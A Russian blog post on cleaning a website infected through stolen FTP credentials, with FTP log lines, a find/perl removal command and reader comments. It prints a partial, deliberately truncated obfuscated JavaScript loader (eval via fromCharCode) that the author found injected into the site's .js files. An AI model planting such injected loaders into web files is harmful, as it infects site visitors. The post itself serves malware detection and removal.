yandex

Вирусы на сайте. Поиск и удаление кода.

Author:

Тема появления вредоносного кода на страницах сайта очень популярная. Хотел в заголовке добавить “Часть 1”, но потом решил сделать в виде бесконечной истории =)

Как уже все должно быть известно, нередко (я бы даже сказал, в большинстве случаев) пользователи сами становятся носителями инфекции (в ботнет-среде таких называют “зомби”). И внедрение кода может происходить следующим способом.

  1. Имеем владельца сайта и по совместительству пользователя какой-либо социальной сети
  2. Пользователь проходит по ссылочке в стиле “Смотри, какие у меня сиськи http://vkontakte.tralalala.lala.lala.net/siski.gif”, которая приходит ему в личку от одноклассницы, в которую он влюблен с восьмого класса и френдит в социальных сетях. Естественно, длинная ссылка сокращается и он видит только начало “http://vkon….siski.gif” и тыкает нераздумывая (еще бы!)
  3. В лучшем случае он видит что-нибудь типа “файл не найден”, плюет и закрывает вкладку браузера.
  4. Начинается самое интересное. (Не забываем, что у пользователя есть сайт, куда он ходит по ftp, внося изменения или заливая новые файлики.)
  5. Ни с того, ни с сего пользователю начинают жаловаться посетитель сайта, что при входе на его сайт их антивирусы ругаются непотребными словами, упоминая наличие вредоносного кода. Либо поисковые системы блокируют переходы на сайт с соответствующей надписью.

Как оказывается, используя готовые пути (ftp, авторизацию в соц.сети) троян начинает свою вредоносную деятельность. Рассылает в личку похожие приглашения и оставляет ссылки. Внедряет похожее в .php, .js файлы для того, чтобы посетители при входе на сайт получали порцию заразы.

Бывают, конечно, и уязвимости в коде скриптов, но вышеописанное все таки более часто =)

Приведу пример, с которым мне посчастливилось

Thu Apr 05 04:57:50 2012 0 <IP> 1120 /home/USER/data/www/SITE.ru/.../users-common.js a _ o r USER ftp 0 * c
Thu Apr 05 04:57:51 2012 0 <IP> 13183 /home/USER/data/www/SITE.ru/.../users-common.js a _ i r USER ftp 0 * c

Посмотрите на эту замечательную гадость радость ситуацию.

Скачался файлик с размером 1Кб, и через секунду загрузился обратно с размером 13 (!!!) Кб.  Все это было произведено с одного IP-адреса и под одним и тем же FTP-пользователем.

Внутри (последней строкой) находилось изумительно-обфусцированное тельце вредителя:

c=3-1;i=c-2;if(window.document)if(parseInt("0"+"1"+"2"+"3")===83)try{Date().prototype.q}catch(egewgsd){f=['0i62i77i70i59i76i65i71i70i0i1i-8i83i-27i-30i-31i78i57i74i-8i77i74i68i-8i21i-

<членики почиканы>

31i-31i-31i64i61i57i60i6i57i72i72i61i70i60i27i64i65i68i60i0i75i59i74i65i72i76i1i19i-27i-30i-31i-31i85i-27i-30i-31i85i19i-27i-30i85i1i0i1i19'][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;693!=i;i+=1){j=i;s+=r["fr"+"omC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);

Который занимался генерацией ссылок на js-скрипты, располагающиеся на различных dyndns-домены. К тому времени, как я добрался до этого сайта, ни одна из ссылок не открывалась

Подобные вещи можно найти, изучая логи ftp-сервера (к примеру, /var/log/xferlog), причем не только текущие, но и те, что уже поротейтились, либо тыкаясь по сайту чем-нибудь типа firebug для Firefox.

И так, проблема найдена и ее следует устранить.

  1. Проверяем все компьютеры пользователей, имеющие доступ к ftp.
  2. Ограничиваем круг имеющих доступ.
  3. Отучаемся хранить логин и пароль от ftp в ftp-клиенте и вообще вместе.
  4. Делаем резервные копии

Если резервной копии с незараженными файлами нет, то можно прибегнуть к ручному вмешательству в файлы, предварительно сделав резервную копию.

Я воспользовался командой find для поиска нужных файлов и perl для выкусывания части строки из файлов.

find <путь поиска> -type f -name “*.js” -exec perl -pi -e ‘s/<начало паттерна>.*<конец паттерна>//g”’ ‘{}’ \;

где,

  • <путь поиска> – указывается месторасположение откуда начинать искать. Можно указать как полный путь до директории /home/USER/data/www/SITE/, так и относительный (к примеру, находясь в корне директории сайта можно использовать “./“)
  • <начало паттерна> – несколько первых символов кода, начиная с которых требуется удалить
  • <конец паттерна> – несколько последних символов кода, заканчивая которыми требуется удалить

Не забываем экранировать различные скобки и знаки препинания.

В конкретном случае я воспользовался строкой

find ./ -type f -name "*.js" -exec perl -pi -e 's/c=3-1.*e\(z\)\;//g''' '{}' \;

Если у вас возникнут какие-то трудности – я всегда открыт для диалога $-)

UPDATE: Не совсем уверен, но, кажется, с недавнего времени онлайновый сканер DrWeb стал распознавать эту заразу

http://<>//js/jquery.js infected with JS.IFrame.233

7 thoughts on “Вирусы на сайте. Поиск и удаление кода.”

  1. Привет! Хотелось бы поподробнее узнать насчет лечения заразы. У меня два сайта полегли, а в серваках я не очень хорошо понимаю. Как и где лечить вирус в js файлах?
    [email protected]

  2. Хапнул точно такой же троян. Поселился в .js проверял д.вебом, удалил строки в тех .js которые он указывал, проверил еще раз – пишет все чисто, а касперский ругается, начал проверять те ссылки которые он блокирует,действительно в этих файлах осталась зараза. начинаю чистить руками. Не подскажите как оптимизировать поиск. Куда вышеуказанный скрип вставить чтобы найти вредоносный код? Спасибо

  3. все что я пишу, по умолчанию относится к системам семейства unix и консоли, если я не пишу заранее об условиях.
    Оптимизируется поиск с помощью различных комбинаций простых утилит.

  4. что то через ssh не удалось исполнить чистку, поиск работает, а чистка не запускается.

    1. Не забываем экранировать различные скобки и знаки препинания. – вот этого я и забыл))
      все получилось.

      1. Рад, что всё получилось. Но я рекомендую использовать скрипт ai-bolit, который умеет не только детектировать вредоносы, но и известные уязвимости в скриптах, и, кажется, даже выкусывать код вредоноса..

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *